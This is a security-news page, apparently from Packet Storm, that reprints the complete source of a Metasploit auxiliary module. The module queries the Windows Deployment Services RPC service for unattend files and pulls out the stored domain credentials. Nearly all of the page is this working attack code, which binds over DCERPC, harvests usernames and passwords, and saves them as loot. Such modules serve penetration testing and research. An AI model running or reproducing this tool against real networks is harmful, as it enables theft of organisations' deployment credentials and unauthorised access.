Security
Headlines
HeadlinesLatestCVEs

Headline

Microsoft Windows Deployment Services Unattend Retrieval

This Metasploit module retrieves the client unattend file from Windows Deployment Services RPC service and parses out the stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86.

Packet Storm
#mac#windows#microsoft#git#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::DCERPC  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  DCERPCPacket     = Rex::Proto::DCERPC::Packet  DCERPCClient     = Rex::Proto::DCERPC::Client  DCERPCResponse   = Rex::Proto::DCERPC::Response  DCERPCUUID       = Rex::Proto::DCERPC::UUID  WDS_CONST       = Rex::Proto::DCERPC::WDSCP::Constants  def initialize(info = {})    super(update_info(info,      'Name'           => 'Microsoft Windows Deployment Services Unattend Retrieval',      'Description'    => %q{        This module retrieves the client unattend file from Windows        Deployment Services RPC service and parses out the stored credentials.        Tested against Windows 2008 R2 x64 and Windows 2003 x86.      },      'Author'         => [ 'Ben Campbell' ],      'License'        => MSF_LICENSE,      'References'     =>        [          [ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],          [ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']        ],      ))    register_options(      [        Opt::RPORT(5040),      ])    deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')    register_advanced_options(      [        OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])      ])  end  def run_host(ip)    begin      query_host(ip)    rescue ::Interrupt      raise $!    rescue ::Rex::ConnectionError => e      print_error("#{ip}:#{rport} Connection Error: #{e}")    ensure      # Ensure socket is pulled down afterwards      self.dcerpc.socket.close rescue nil      self.dcerpc = nil      self.handle = nil    end  end  def query_host(rhost)    # Create a handler with our UUID and Transfer Syntax    self.handle = Rex::Proto::DCERPC::Handle.new(      [        WDS_CONST::WDSCP_RPC_UUID,        '1.0',      ],      'ncacn_ip_tcp',      rhost,      [datastore['RPORT']]    )    print_status("Binding to #{handle} ...")    self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)    vprint_good("Bound to #{handle}")    report_service(      :host => rhost,      :port => datastore['RPORT'],      :proto => 'tcp',      :name => "dcerpc",      :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"    )    table = Rex::Text::Table.new({      'Header' => 'Windows Deployment Services',      'Indent' => 1,      'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']    })    creds_found = false    WDS_CONST::ARCHITECTURE.each do |architecture|      if architecture[0] == :ARM && !datastore['ENUM_ARM']        vprint_status "Skipping #{architecture[0]} architecture due to adv option"        next      end      begin        result = request_client_unattend(architecture)      rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e        vprint_error(e.to_s)        print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")        return nil      end      unless result.nil?        loot_unattend(architecture[0], result)        results = parse_client_unattend(result)        results.each do |result|          unless result.empty?            if result['username'] and result['password']              print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")              creds_found = true              domain = ""              domain = result['domain'] if result['domain']              report_creds(domain, result['username'], result['password'])              table << [architecture[0], result['type'], domain, result['username'], result['password']]            end          end        end      end    end    if creds_found      print_line      table.print      print_line    else      print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")    end  end  def request_client_unattend(architecture)    # Construct WDS Control Protocol Message    packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)    guid = Rex::Text.rand_text_hex(32)    packet.add_var(  WDS_CONST::VAR_NAME_CLIENT_GUID, guid)    # Not sure what this padding is for...    mac = [0x30].pack('C') * 20    mac << Rex::Text.rand_text_hex(12)    packet.add_var(  WDS_CONST::VAR_NAME_CLIENT_MAC, mac)    arch = [architecture[1]].pack('C')    packet.add_var(  WDS_CONST::VAR_NAME_ARCHITECTURE, arch)    version = [1].pack('V')    packet.add_var(  WDS_CONST::VAR_NAME_VERSION, version)    wdsc_packet = packet.create    vprint_status("Sending #{architecture[0]} Client Unattend request ...")    dcerpc.call(0, wdsc_packet, false)    timeout = datastore['DCERPC::ReadTimeout']    response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)    if (response and response.stub_data)      vprint_status('Received response ...')      data = response.stub_data      # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000      op_error_code = data.unpack('v*')[19]      if op_error_code == 0        if data.length < 277          vprint_error("No Unattend received for #{architecture[0]} architecture")          return nil        else          vprint_status("Received #{architecture[0]} unattend file ...")          return extract_unattend(data)        end      else        vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")        return nil      end    end  end  def extract_unattend(data)    start = data.index('<?xml')    finish = data.index('</unattend>')    if start and finish      finish += 10      return data[start..finish]    else      print_error("Incomplete transmission or malformed unattend file.")      return nil    end  end  def parse_client_unattend(data)    begin      xml = REXML::Document.new(data)      return Rex::Parser::Unattend.parse(xml).flatten    rescue REXML::ParseException => e      print_error("Invalid XML format")      vprint_line(e.message)      return nil     end  end  def loot_unattend(archi, data)    return if data.empty?    p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")    print_good("Raw version of #{archi} saved as: #{p}")  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: opts[:service_name],      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user],      private_data: opts[:password],      private_type: :password    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED,      proof: opts[:proof]    }.merge(service_data)    create_credential_login(login_data)  end  def report_creds(domain, user, pass)    report_cred(      ip: rhost,      port: 4050,      service_name: 'dcerpc',      user: "#{domain}\\#{user}",      password: pass,      proof: domain    )  endend

Packet Storm: Latest News

Ivanti EPM Remote Code Execution